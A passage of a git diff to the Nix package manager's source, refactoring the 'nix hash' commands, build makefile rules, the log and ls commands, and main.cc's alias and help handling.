+`nix hash convert` converts hashes from one encoding to another. + +)"" diff --git a/src/nix/hash.cc b/src/nix/hash.cc index 60d9593a7..62266fda1 100644 --- a/src/nix/hash.cc +++ b/src/nix/hash.cc @@ -5,69 +5,73 @@ #include "shared.hh" #include "references.hh" #include "archive.hh" +#include "git.hh" +#include "posix-source-accessor.hh" +#include "misc-store-flags.hh" using namespace nix; +/** + * Base for `nix hash path`, `nix hash file` (deprecated), and `nix-hash` (legacy). + * + * Deprecation Issue: https://github.com/NixOS/nix/issues/8876 + */ struct CmdHashBase : Command { FileIngestionMethod mode; - Base base = SRI; + HashFormat hashFormat = HashFormat::SRI; bool truncate = false; - HashType ht = htSHA256; + HashAlgorithm hashAlgo = HashAlgorithm::SHA256; std::vector paths; std::optional modulus; - CmdHashBase(FileIngestionMethod mode) : mode(mode) + explicit CmdHashBase(FileIngestionMethod mode) : mode(mode) { - addFlag({ - .longName = "sri", - .description = "Print the hash in SRI format.", - .handler = {&base, SRI}, - }); - - addFlag({ - .longName = "base64", - .description = "Print the hash in base-64 format.", - .handler = {&base, Base64}, - }); - - addFlag({ - .longName = "base32", - .description = "Print the hash in base-32 (Nix-specific) format.", - .handler = {&base, Base32}, - }); - - addFlag({ - .longName = "base16", - .description = "Print the hash in base-16 format.", - .handler = {&base, Base16}, - }); - - addFlag(Flag::mkHashTypeFlag("type", &ht)); - - #if 0 - addFlag({ - .longName = "modulo", - .description = "Compute the hash modulo the specified string.", - .labels = {"modulus"}, - .handler = {&modulus}, - }); - #endif\ - expectArgs({ .label = "paths", .handler = {&paths}, .completer = completePath }); + + // FIXME The following flags should be deprecated, but we don't + // yet have a mechanism for that. + + addFlag({ + .longName = "sri", + .description = "Print the hash in SRI format.", + .handler = {&hashFormat, HashFormat::SRI}, + }); + + addFlag({ + .longName = "base64", + .description = "Print the hash in base-64 format.", + .handler = {&hashFormat, HashFormat::Base64}, + }); + + addFlag({ + .longName = "base32", + .description = "Print the hash in base-32 (Nix-specific) format.", + .handler = {&hashFormat, HashFormat::Nix32}, + }); + + addFlag({ + .longName = "base16", + .description = "Print the hash in base-16 format.", + .handler = {&hashFormat, HashFormat::Base16}, + }); + + addFlag(flag::hashAlgo("type", &hashAlgo)); } std::string description() override { switch (mode) { case FileIngestionMethod::Flat: - return "print cryptographic hash of a regular file"; - case FileIngestionMethod::Recursive: + return "print cryptographic hash of a regular file"; + case FileIngestionMethod::NixArchive: return "print cryptographic hash of the NAR serialisation of a path"; + case FileIngestionMethod::Git: + return "print cryptographic hash of the Git serialisation of a path"; default: assert(false); }; @@ -76,67 +80,172 @@ struct CmdHashBase : Command void run() override { for (auto path : paths) { + auto makeSink = [&]() -> std::unique_ptr { + if (modulus) + return std::make_unique(hashAlgo, *modulus); + else + return std::make_unique(hashAlgo); + }; - std::unique_ptr hashSink; - if (modulus) - hashSink = std::make_unique(ht, *modulus); - else - hashSink = std::make_unique(ht); - + auto path2 = PosixSourceAccessor::createAtRoot(path); + Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ switch (mode) { case FileIngestionMethod::Flat: - readFile(path, *hashSink); - break; - case FileIngestionMethod::Recursive: - dumpPath(path, *hashSink); + case FileIngestionMethod::NixArchive: + { + auto hashSink = makeSink(); + dumpPath(path2, *hashSink, (FileSerialisationMethod) mode); + h = hashSink->finish().first; break; } + case FileIngestionMethod::Git: { + std::function hook; + hook = [&](const SourcePath & path) -> git::TreeEntry { + auto hashSink = makeSink(); + auto mode = dump(path, *hashSink, hook); + auto hash = hashSink->finish().first; + return { + .mode = mode, + .hash = hash, + }; + }; + h = hook(path2).hash; + break; + } + } - Hash h = hashSink->finish().first; if (truncate && h.hashSize > 20) h = compressHash(h, 20); - logger->cout(h.to_string(base, base == SRI)); + logger->cout(h.to_string(hashFormat, hashFormat == HashFormat::SRI)); } } }; +/** + * `nix hash path` + */ +struct CmdHashPath : CmdHashBase +{ + CmdHashPath() + : CmdHashBase(FileIngestionMethod::NixArchive) + { + addFlag(flag::hashAlgo("algo", &hashAlgo)); + addFlag(flag::fileIngestionMethod(&mode)); + addFlag(flag::hashFormatWithDefault("format", &hashFormat)); + #if 0 + addFlag({ + .longName = "modulo", + .description = "Compute the hash modulo the specified string.", + .labels = {"modulus"}, + .handler = {&modulus}, + }); + #endif + } +}; + +/** + * For deprecated `nix hash file` + * + * Deprecation Issue: https://github.com/NixOS/nix/issues/8876 + */ +struct CmdHashFile : CmdHashBase +{ + CmdHashFile() + : CmdHashBase(FileIngestionMethod::Flat) + { + } +}; + +/** + * For deprecated `nix hash to-*` + */ struct CmdToBase : Command { - Base base; - std::optional ht; + HashFormat hashFormat; + std::optional hashAlgo; std::vector args; - CmdToBase(Base base) : base(base) + CmdToBase(HashFormat hashFormat) : hashFormat(hashFormat) { - addFlag(Flag::mkHashTypeOptFlag("type", &ht)); + addFlag(flag::hashAlgoOpt("type", &hashAlgo)); expectArgs("strings", &args); } std::string description() override { - return fmt("convert a hash to %s representation", - base == Base16 ? "base-16" : - base == Base32 ? "base-32" : - base == Base64 ? "base-64" : + return fmt("convert a hash to %s representation (deprecated, use `nix hash convert` instead)", + hashFormat == HashFormat::Base16 ? "base-16" : + hashFormat == HashFormat::Nix32 ? "base-32" : + hashFormat == HashFormat::Base64 ? "base-64" : "SRI"); } void run() override { + warn("The old format conversion sub commands of `nix hash` were deprecated in favor of `nix hash convert`."); for (auto s : args) - logger->cout(Hash::parseAny(s, ht).to_string(base, base == SRI)); + logger->cout(Hash::parseAny(s, hashAlgo).to_string(hashFormat, hashFormat == HashFormat::SRI)); + } +}; + +/** + * `nix hash convert` + */ +struct CmdHashConvert : Command +{ + std::optional from; + HashFormat to; + std::optional algo; + std::vector hashStrings; + + CmdHashConvert(): to(HashFormat::SRI) { + addFlag(flag::hashFormatOpt("from", &from)); + addFlag(flag::hashFormatWithDefault("to", &to)); + addFlag(flag::hashAlgoOpt(&algo)); + expectArgs({ + .label = "hashes", + .handler = {&hashStrings}, + }); + } + + std::string description() override + { + return "convert between hash formats"; + } + + std::string doc() override + { + return + #include "hash-convert.md" + ; + } + + Category category() override { return catUtility; } + + void run() override { + for (const auto& s: hashStrings) { + Hash h = Hash::parseAny(s, algo); + if (from && h.to_string(*from, from == HashFormat::SRI) != s) { + auto from_as_string = printHashFormat(*from); + throw BadHash("input hash '%s' does not have the expected format '--from %s'", s, from_as_string); + } + logger->cout(h.to_string(to, to == HashFormat::SRI)); + } } }; struct CmdHash : NixMultiCommand { CmdHash() - : MultiCommand({ - {"file", []() { return make_ref(FileIngestionMethod::Flat);; }}, - {"path", []() { return make_ref(FileIngestionMethod::Recursive); }}, - {"to-base16", []() { return make_ref(Base16); }}, - {"to-base32", []() { return make_ref(Base32); }}, - {"to-base64", []() { return make_ref(Base64); }}, - {"to-sri", []() { return make_ref(SRI); }}, + : NixMultiCommand( + "hash", + { + {"convert", []() { return make_ref();}}, + {"path", []() { return make_ref(); }}, + {"file", []() { return make_ref(); }}, + {"to-base16", []() { return make_ref(HashFormat::Base16); }}, + {"to-base32", []() { return make_ref(HashFormat::Nix32); }}, + {"to-base64", []() { return make_ref(HashFormat::Base64); }}, + {"to-sri", []() { return make_ref(HashFormat::SRI); }}, }) { } @@ -146,14 +255,6 @@ struct CmdHash : NixMultiCommand } Category category() override { return catUtility; } - - void run() override - { - if (!command) - throw UsageError("'nix hash' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdHash = registerCommand("hash"); @@ -161,11 +262,14 @@ static auto rCmdHash = registerCommand("hash"); /* Legacy nix-hash command. */ static int compatNixHash(int argc, char * * argv) { - HashType ht = htMD5; + // Wait until `nix hash convert` is not hidden behind experimental flags anymore. + // warn("`nix-hash` has been deprecated in favor of `nix hash convert`."); + + std::optional hashAlgo; bool flat = false; - bool base32 = false; + HashFormat hashFormat = HashFormat::Base16; bool truncate = false; - enum { opHash, opTo32, opTo16 } op = opHash; + enum { opHash, opTo } op = opHash; std::vector ss; parseCmdLine(argc, argv, [&](Strings::iterator & arg, const Strings::iterator & end) { @@ -174,14 +278,31 @@ static int compatNixHash(int argc, char * * argv) else if (*arg == "--version") printVersion("nix-hash"); else if (*arg == "--flat") flat = true; - else if (*arg == "--base32") base32 = true; + else if (*arg == "--base16") hashFormat = HashFormat::Base16; + else if (*arg == "--base32") hashFormat = HashFormat::Nix32; + else if (*arg == "--base64") hashFormat = HashFormat::Base64; + else if (*arg == "--sri") hashFormat = HashFormat::SRI; else if (*arg == "--truncate") truncate = true; else if (*arg == "--type") { std::string s = getArg(*arg, arg, end); - ht = parseHashType(s); + hashAlgo = parseHashAlgo(s); + } + else if (*arg == "--to-base16") { + op = opTo; + hashFormat = HashFormat::Base16; + } + else if (*arg == "--to-base32") { + op = opTo; + hashFormat = HashFormat::Nix32; + } + else if (*arg == "--to-base64") { + op = opTo; + hashFormat = HashFormat::Base64; + } + else if (*arg == "--to-sri") { + op = opTo; + hashFormat = HashFormat::SRI; } - else if (*arg == "--to-base16") op = opTo16; - else if (*arg == "--to-base32") op = opTo32; else if (*arg != "" && arg->at(0) == '-') return false; else @@ -190,18 +311,19 @@ static int compatNixHash(int argc, char * * argv) }); if (op == opHash) { - CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::Recursive); - cmd.ht = ht; - cmd.base = base32 ? Base32 : Base16; + CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::NixArchive); + if (!hashAlgo.has_value()) hashAlgo = HashAlgorithm::MD5; + cmd.hashAlgo = hashAlgo.value(); + cmd.hashFormat = hashFormat; cmd.truncate = truncate; cmd.paths = ss; cmd.run(); } else { - CmdToBase cmd(op == opTo32 ? Base32 : Base16); + CmdToBase cmd(hashFormat); cmd.args = ss; - cmd.ht = ht; + if (hashAlgo.has_value()) cmd.hashAlgo = hashAlgo; cmd.run(); } diff --git a/src/nix/help-stores.md b/src/nix/help-stores.md new file mode 120000 index 000000000..5c5624f5e --- /dev/null +++ b/src/nix/help-stores.md @@ -0,0 +1 @@ +../../doc/manual/src/store/types/index.md.in \ No newline at end of file diff --git a/src/nix/local.mk b/src/nix/local.mk index 0f2f016ec..b57f6b3e2 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -4,21 +4,38 @@ nix_DIR := $(d) nix_SOURCES := \ $(wildcard $(d)/*.cc) \ - $(wildcard src/build-remote/*.cc) \ $(wildcard src/nix-build/*.cc) \ + $(wildcard src/nix-env/*.cc) \ + $(wildcard src/nix-instantiate/*.cc) \ + $(wildcard src/nix-store/*.cc) + +ifdef HOST_UNIX +nix_SOURCES += \ + $(wildcard $(d)/unix/*.cc) \ + $(wildcard src/build-remote/*.cc) \ $(wildcard src/nix-channel/*.cc) \ $(wildcard src/nix-collect-garbage/*.cc) \ $(wildcard src/nix-copy-closure/*.cc) \ - $(wildcard src/nix-daemon/*.cc) \ - $(wildcard src/nix-env/*.cc) \ - $(wildcard src/nix-instantiate/*.cc) \ - $(wildcard src/nix-store/*.cc) \ + $(wildcard src/nix-daemon/*.cc) +endif -nix_CXXFLAGS += -I src/libutil -I src/libstore -I src/libfetchers -I src/libexpr -I src/libmain -I src/libcmd -I doc/manual +INCLUDE_nix := -I $(d) +ifdef HOST_UNIX + INCLUDE_nix += -I $(d)/unix +endif -nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd +nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix) -nix_LDFLAGS = -pthread $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS) +nix_CXXFLAGS += -DNIX_BIN_DIR=\"$(NIX_ROOT)$(bindir)\" + +nix_LIBS = libexpr libmain libfetchers libflake libstore libutil libcmd + +nix_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + nix_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif $(foreach name, \ nix-build nix-channel nix-collect-garbage nix-copy-closure nix-daemon nix-env nix-hash nix-instantiate nix-prefetch-url nix-shell nix-store, \ @@ -27,8 +44,16 @@ $(eval $(call install-symlink, $(bindir)/nix, $(libexecdir)/nix/build-remote)) src/nix-env/user-env.cc: src/nix-env/buildenv.nix.gen.hh -src/nix/develop.cc: src/nix/get-env.sh.gen.hh +$(d)/develop.cc: $(d)/get-env.sh.gen.hh src/nix-channel/nix-channel.cc: src/nix-channel/unpack-channel.nix.gen.hh -src/nix/main.cc: doc/manual/generate-manpage.nix.gen.hh doc/manual/utils.nix.gen.hh +$(d)/main.cc: \ + doc/manual/generate-manpage.nix.gen.hh \ + doc/manual/utils.nix.gen.hh doc/manual/generate-settings.nix.gen.hh \ + doc/manual/generate-store-info.nix.gen.hh \ + $(d)/help-stores.md.gen.hh + +$(d)/profile.cc: $(d)/profile.md + +$(d)/profile.md: $(d)/profiles.md.gen.hh diff --git a/src/nix/log.cc b/src/nix/log.cc index 72d02ef11..7f590c708 100644 --- a/src/nix/log.cc +++ b/src/nix/log.cc @@ -23,7 +23,7 @@ struct CmdLog : InstallableCommand Category category() override { return catSecondary; } - void run(ref store) override + void run(ref store, ref installable) override { settings.readOnlyMode = true; @@ -33,6 +33,17 @@ struct CmdLog : InstallableCommand auto b = installable->toDerivedPath(); + // For compat with CLI today, TODO revisit + auto oneUp = std::visit(overloaded { + [&](const DerivedPath::Opaque & bo) { + return make_ref(bo); + }, + [&](const DerivedPath::Built & bfd) { + return bfd.drvPath; + }, + }, b.path.raw()); + auto path = resolveDerivedPath(*store, *oneUp); + RunPager pager; for (auto & sub : subs) { auto * logSubP = dynamic_cast(&*sub); @@ -42,18 +53,11 @@ struct CmdLog : InstallableCommand } auto & logSub = *logSubP; - auto log = std::visit(overloaded { - [&](const DerivedPath::Opaque & bo) { - return logSub.getBuildLog(bo.path); - }, - [&](const DerivedPath::Built & bfd) { - return logSub.getBuildLog(bfd.drvPath); - }, - }, b.raw()); + auto log = logSub.getBuildLog(path); if (!log) continue; stopProgressBar(); printInfo("got build log for '%s' from '%s'", installable->what(), logSub.getUri()); - std::cout << *log; + writeFull(getStandardOut(), *log); return; } diff --git a/src/nix/log.md b/src/nix/log.md index 1c76226a3..01e9801df 100644 --- a/src/nix/log.md +++ b/src/nix/log.md @@ -22,8 +22,7 @@ R""( # Description -This command prints the log of a previous build of the derivation -*installable* on standard output. +This command prints the log of a previous build of the [*installable*](./nix.md#installables) on standard output. Nix looks for build logs in two places: diff --git a/src/nix/ls.cc b/src/nix/ls.cc index e964b01b3..63f97f2d3 100644 --- a/src/nix/ls.cc +++ b/src/nix/ls.cc @@ -1,6 +1,5 @@ #include "command.hh" #include "store-api.hh" -#include "fs-accessor.hh" #include "nar-accessor.hh" #include "common-args.hh" #include @@ -39,61 +38,58 @@ struct MixLs : virtual Args, MixJSON }); } - void listText(ref accessor) + void listText(ref accessor) { - std::function doPath; + std::function doPath; - auto showFile = [&](const Path & curPath, const std::string & relPath) { + auto showFile = [&](const CanonPath & curPath, std::string_view relPath) { if (verbose) { - auto st = accessor->stat(curPath); + auto st = accessor->lstat(curPath); std::string tp = - st.type == FSAccessor::Type::tRegular ? + st.type == SourceAccessor::Type::tRegular ? (st.isExecutable ? "-r-xr-xr-x" : "-r--r--r--") : - st.type == FSAccessor::Type::tSymlink ? "lrwxrwxrwx" : + st.type == SourceAccessor::Type::tSymlink ? "lrwxrwxrwx" : "dr-xr-xr-x"; - auto line = fmt("%s %20d %s", tp, st.fileSize, relPath); - if (st.type == FSAccessor::Type::tSymlink) + auto line = fmt("%s %20d %s", tp, st.fileSize.value_or(0), relPath); + if (st.type == SourceAccessor::Type::tSymlink) line += " -> " + accessor->readLink(curPath); logger->cout(line); - if (recursive && st.type == FSAccessor::Type::tDirectory) + if (recursive && st.type == SourceAccessor::Type::tDirectory) doPath(st, curPath, relPath, false); } else { logger->cout(relPath); if (recursive) { - auto st = accessor->stat(curPath); - if (st.type == FSAccessor::Type::tDirectory) + auto st = accessor->lstat(curPath); + if (st.type == SourceAccessor::Type::tDirectory) doPath(st, curPath, relPath, false); } } }; - doPath = [&](const FSAccessor::Stat & st, const Path & curPath, - const std::string & relPath, bool showDirectory) + doPath = [&](const SourceAccessor::Stat & st, const CanonPath & curPath, + std::string_view relPath, bool showDirectory) { - if (st.type == FSAccessor::Type::tDirectory && !showDirectory) { + if (st.type == SourceAccessor::Type::tDirectory && !showDirectory) { auto names = accessor->readDirectory(curPath); - for (auto & name : names) - showFile(curPath + "/" + name, relPath + "/" + name); + for (auto & [name, type] : names) + showFile(curPath / name, relPath + "/" + name); } else showFile(curPath, relPath); }; - auto st = accessor->stat(path); - if (st.type == FSAccessor::Type::tMissing) - throw Error("path '%1%' does not exist", path); - doPath(st, path, - st.type == FSAccessor::Type::tDirectory ? "." : std::string(baseNameOf(path)), + auto path2 = CanonPath(path); + auto st = accessor->lstat(path2); + doPath(st, path2, + st.type == SourceAccessor::Type::tDirectory ? "." : path2.baseName().value_or(""), showDirectory); } - void list(ref accessor) + void list(ref accessor) { - if (path == "/") path = ""; - if (json) { if (showDirectory) throw UsageError("'--directory' is useless with '--json'"); - std::cout << listNar(accessor, path, recursive); + logger->cout("%s", listNar(accessor, CanonPath(path), recursive)); } else listText(accessor); } diff --git a/src/nix/main.cc b/src/nix/main.cc index 2c6309c81..34de79ac8 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -1,8 +1,10 @@ -#include - +#include "args/root.hh" +#include "current-process.hh" #include "command.hh" #include "common-args.hh" +#include "eval-gc.hh" #include "eval.hh" +#include "eval-settings.hh" #include "globals.hh" #include "legacy.hh" #include "shared.hh" @@ -11,24 +13,56 @@ #include "finally.hh" #include "loggers.hh" #include "markdown.hh" +#include "memory-source-accessor.hh" +#include "terminal.hh" +#include "users.hh" +#include "network-proxy.hh" +#include "eval-cache.hh" +#include "flake/flake.hh" +#include "self-exe.hh" #include -#include -#include -#include -#include - +#include #include +#ifndef _WIN32 +# include +# include +# include +# include +#endif + +#if __linux__ +# include "namespaces.hh" +#endif + +#ifndef _WIN32 extern std::string chrootHelperName; void chrootHelper(int argc, char * * argv); +#endif + +#include "strings.hh" namespace nix { +enum struct AliasStatus { + /** Aliases that don't go away */ + AcceptedShorthand, + /** Aliases that will go away */ + Deprecated, +}; + +/** An alias, except for the original syntax, which is in the map key. */ +struct AliasInfo { + AliasStatus status; + std::vector replacement; +}; + /* Check if we have a non-loopback/link-local network interface. */ static bool haveInternet() { +#ifndef _WIN32 struct ifaddrs * addrs; if (getifaddrs(&addrs)) @@ -49,22 +83,28 @@ static bool haveInternet() } } + if (haveNetworkProxyConnection()) return true; + return false; +#else + // TODO implement on Windows + return true; +#endif } std::string programPath; -struct HelpRequested { }; - -struct NixArgs : virtual MultiCommand, virtual MixCommonArgs +struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs { bool useNet = true; bool refresh = false; + bool helpRequested = false; bool showVersion = false; - NixArgs() : MultiCommand(RegisterCommand::getCommandsFor({})), MixCommonArgs("nix") + NixArgs() : MultiCommand("", RegisterCommand::getCommandsFor({})), MixCommonArgs("nix") { categories.clear(); + categories[catHelp] = "Help commands"; categories[Command::catDefault] = "Main commands"; categories[catSecondary] = "Infrequently used commands"; categories[catUtility] = "Utility/scripting commands"; @@ -74,7 +114,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs .longName = "help", .description = "Show usage information.", .category = miscCategory, - .handler = {[&]() { throw HelpRequested(); }}, + .handler = {[this]() { this->helpRequested = true; }}, }); addFlag({ @@ -83,6 +123,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs .description = "Print full build logs on standard error.", .category = loggingCategory, .handler = {[&]() { logger->setPrintBuildLogs(true); }}, + .experimentalFeature = Xp::NixCommand, }); addFlag({ @@ -98,6 +139,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs .description = "Disable substituters and consider all previously downloaded files up-to-date.", .category = miscCategory, .handler = {[&]() { useNet = false; }}, + .experimentalFeature = Xp::NixCommand, }); addFlag({ @@ -105,29 +147,34 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs .description = "Consider all previously downloaded files out-of-date.", .category = miscCategory, .handler = {[&]() { refresh = true; }}, + .experimentalFeature = Xp::NixCommand, }); } - std::map> aliases = { - {"add-to-store", {"store", "add-path"}}, - {"cat-nar", {"nar", "cat"}}, - {"cat-store", {"store", "cat"}}, - {"copy-sigs", {"store", "copy-sigs"}}, - {"dev-shell", {"develop"}}, - {"diff-closures", {"store", "diff-closures"}}, - {"dump-path", {"store", "dump-path"}}, - {"hash-file", {"hash", "file"}}, - {"hash-path", {"hash", "path"}}, - {"ls-nar", {"nar", "ls"}}, - {"ls-store", {"store", "ls"}}, - {"make-content-addressable", {"store", "make-content-addressed"}}, - {"optimise-store", {"store", "optimise"}}, - {"ping-store", {"store", "ping"}}, - {"sign-paths", {"store", "sign"}}, - {"to-base16", {"hash", "to-base16"}}, - {"to-base32", {"hash", "to-base32"}}, - {"to-base64", {"hash", "to-base64"}}, - {"verify", {"store", "verify"}}, + std::map aliases = { + {"add-to-store", { AliasStatus::Deprecated, {"store", "add-path"}}}, + {"cat-nar", { AliasStatus::Deprecated, {"nar", "cat"}}}, + {"cat-store", { AliasStatus::Deprecated, {"store", "cat"}}}, + {"copy-sigs", { AliasStatus::Deprecated, {"store", "copy-sigs"}}}, + {"dev-shell", { AliasStatus::Deprecated, {"develop"}}}, + {"diff-closures", { AliasStatus::Deprecated, {"store", "diff-closures"}}}, + {"dump-path", { AliasStatus::Deprecated, {"store", "dump-path"}}}, + {"hash-file", { AliasStatus::Deprecated, {"hash", "file"}}}, + {"hash-path", { AliasStatus::Deprecated, {"hash", "path"}}}, + {"ls-nar", { AliasStatus::Deprecated, {"nar", "ls"}}}, + {"ls-store", { AliasStatus::Deprecated, {"store", "ls"}}}, + {"make-content-addressable", { AliasStatus::Deprecated, {"store", "make-content-addressed"}}}, + {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}}, + {"ping-store", { AliasStatus::Deprecated, {"store", "info"}}}, + {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}}, + {"shell", { AliasStatus::AcceptedShorthand, {"env", "shell"}}}, + {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}}, + {"show-config", { AliasStatus::Deprecated, {"config", "show"}}}, + {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}}, + {"to-base32", { AliasStatus::Deprecated, {"hash", "to-base32"}}}, + {"to-base64", { AliasStatus::Deprecated, {"hash", "to-base64"}}}, + {"verify", { AliasStatus::Deprecated, {"store", "verify"}}}, + {"doctor", { AliasStatus::Deprecated, {"config", "check"}}}, }; bool aliasUsed = false; @@ -138,10 +185,13 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs auto arg = *pos; auto i = aliases.find(arg); if (i == aliases.end()) return pos; - warn("'%s' is a deprecated alias for '%s'", - arg, concatStringsSep(" ", i->second)); + auto & info = i->second; + if (info.status == AliasStatus::Deprecated) { + warn("'%s' is a deprecated alias for '%s'", + arg, concatStringsSep(" ", info.replacement)); + } pos = args.erase(pos); - for (auto j = i->second.rbegin(); j != i->second.rend(); ++j) + for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j) pos = args.insert(pos, *j); aliasUsed = true; return pos; @@ -164,47 +214,81 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs { commands = RegisterCommand::getCommandsFor({}); } + + std::string dumpCli() + { + auto res = nlohmann::json::object(); + + res["args"] = toJSON(); + + auto stores = nlohmann::json::object(); + for (auto & implem : *Implementations::registered) { + auto storeConfig = implem.getConfig(); + auto storeName = storeConfig->name(); + auto & j = stores[storeName]; + j["doc"] = storeConfig->doc(); + j["settings"] = storeConfig->toJSON(); + j["experimentalFeature"] = storeConfig->experimentalFeature(); + } + res["stores"] = std::move(stores); + res["fetchers"] = fetchers::dumpRegisterInputSchemeInfo(); + + return res.dump(); + } }; /* Render the help for the specified subcommand to stdout using lowdown. */ -static void showHelp(std::vector subcommand, MultiCommand & toplevel) +static void showHelp(std::vector subcommand, NixArgs & toplevel) { auto mdName = subcommand.empty() ? "nix" : fmt("nix3-%s", concatStringsSep("-", subcommand)); evalSettings.restrictEval = false; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://")); + EvalState state({}, openStore("dummy://"), fetchSettings, evalSettings); auto vGenerateManpage = state.allocValue(); state.eval(state.parseExprFromString( #include "generate-manpage.nix.gen.hh" - , "/"), *vGenerateManpage); + , state.rootPath(CanonPath::root)), *vGenerateManpage); - auto vUtils = state.allocValue(); - state.cacheFile( - "/utils.nix", "/utils.nix", - state.parseExprFromString( - #include "utils.nix.gen.hh" - , "/"), - *vUtils); + state.corepkgsFS->addFile( + CanonPath("utils.nix"), + #include "utils.nix.gen.hh" + ); - auto attrs = state.buildBindings(16); - attrs.alloc("toplevel").mkString(toplevel.toJSON().dump()); + state.corepkgsFS->addFile( + CanonPath("/generate-settings.nix"), + #include "generate-settings.nix.gen.hh" + ); + + state.corepkgsFS->addFile( + CanonPath("/generate-store-info.nix"), + #include "generate-store-info.nix.gen.hh" + ); + + auto vDump = state.allocValue(); + vDump->mkString(toplevel.dumpCli()); auto vRes = state.allocValue(); - state.callFunction(*vGenerateManpage, state.allocValue()->mkAttrs(attrs), *vRes, noPos); + state.callFunction(*vGenerateManpage, state.getBuiltin("false"), *vRes, noPos); + state.callFunction(*vRes, *vDump, *vRes, noPos); - auto attr = vRes->attrs->get(state.symbols.create(mdName + ".md")); + auto attr = vRes->attrs()->get(state.symbols.create(mdName + ".md")); if (!attr) throw UsageError("Nix has no subcommand '%s'", concatStringsSep("", subcommand)); - auto markdown = state.forceString(*attr->value); + auto markdown = state.forceString(*attr->value, noPos, "while evaluating the lowdown help text"); RunPager pager; std::cout << renderMarkdownToTerminal(markdown) << "\n"; } +static NixArgs & getNixArgs(Command & cmd) +{ + return dynamic_cast(cmd.getRoot()); +} + struct CmdHelp : Command { std::vector subcommand; @@ -229,33 +313,73 @@ struct CmdHelp : Command ; } + Category category() override { return catHelp; } + void run() override { assert(parent); MultiCommand * toplevel = parent; while (toplevel->parent) toplevel = toplevel->parent; - showHelp(subcommand, *toplevel); + showHelp(subcommand, getNixArgs(*this)); } }; static auto rCmdHelp = registerCommand("help"); +struct CmdHelpStores : Command +{ + std::string description() override + { + return "show help about store types and their settings"; + } + + std::string doc() override + { + return + #include "help-stores.md.gen.hh" + ; + } + + Category category() override { return catHelp; } + + void run() override + { + showHelp({"help-stores"}, getNixArgs(*this)); + } +}; + +static auto rCmdHelpStores = registerCommand("help-stores"); + void mainWrapped(int argc, char * * argv) { savedArgv = argv; /* The chroot helper needs to be run before any threads have been started. */ +#ifndef _WIN32 if (argc > 0 && argv[0] == chrootHelperName) { chrootHelper(argc, argv); return; } +#endif initNix(); initGC(); + flake::initLib(flakeSettings); + + /* Set the build hook location + + For builds we perform a self-invocation, so Nix has to be + self-aware. That is, it has to know where it is installed. We + don't think it's sentient. + */ + settings.buildHook.setDefault(Strings { + getNixBin({}).string(), + "__build-remote", + }); #if __linux__ - if (getuid() == 0) { + if (isRootUser()) { try { saveMountNamespace(); if (unshare(CLONE_NEWNS) == -1) @@ -268,6 +392,9 @@ void mainWrapped(int argc, char * * argv) programPath = argv[0]; auto programName = std::string(baseNameOf(programPath)); + auto extensionPos = programName.find_last_of("."); + if (extensionPos != std::string::npos) + programName.erase(extensionPos); if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { programName = "build-remote"; @@ -283,7 +410,9 @@ void mainWrapped(int argc, char * * argv) setLogFormat("bar"); settings.verboseBuild = false; - if (isatty(STDERR_FILENO)) { + + // If on a terminal, progress will be displayed via progress bars etc. (thus verbosity=notice) + if (nix::isTTY()) { verbosity = lvlNotice; } else { verbosity = lvlInfo; @@ -291,50 +420,75 @@ void mainWrapped(int argc, char * * argv) NixArgs args; - if (argc == 2 && std::string(argv[1]) == "__dump-args") { - std::cout << args.toJSON().dump() << "\n"; + if (argc == 2 && std::string(argv[1]) == "__dump-cli") { + logger->cout(args.dumpCli()); return; } - if (argc == 2 && std::string(argv[1]) == "__dump-builtins") { - settings.experimentalFeatures = {Xp::Flakes, Xp::FetchClosure}; + if (argc == 2 && std::string(argv[1]) == "__dump-language") { + experimentalFeatureSettings.experimentalFeatures = { + Xp::Flakes, + Xp::FetchClosure, + Xp::DynamicDerivations, + Xp::FetchTree, + }; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://")); - auto res = nlohmann::json::object(); - auto builtins = state.baseEnv.values[0]->attrs; - for (auto & builtin : *builtins) { + EvalState state({}, openStore("dummy://"), fetchSettings, evalSettings); + auto builtinsJson = nlohmann::json::object(); + for (auto & builtin : *state.baseEnv.values[0]->attrs()) { auto b = nlohmann::json::object(); if (!builtin.value->isPrimOp()) continue; - auto primOp = builtin.value->primOp; + auto primOp = builtin.value->primOp(); if (!primOp->doc) continue; - b["arity"] = primOp->arity; b["args"] = primOp->args; b["doc"] = trim(stripIndentation(primOp->doc)); - res[state.symbols[builtin.name]] = std::move(b); + if (primOp->experimentalFeature) + b["experimental-feature"] = primOp->experimentalFeature; + builtinsJson.emplace(state.symbols[builtin.name], std::move(b)); } - std::cout << res.dump() << "\n"; + for (auto & [name, info] : state.constantInfos) { + auto b = 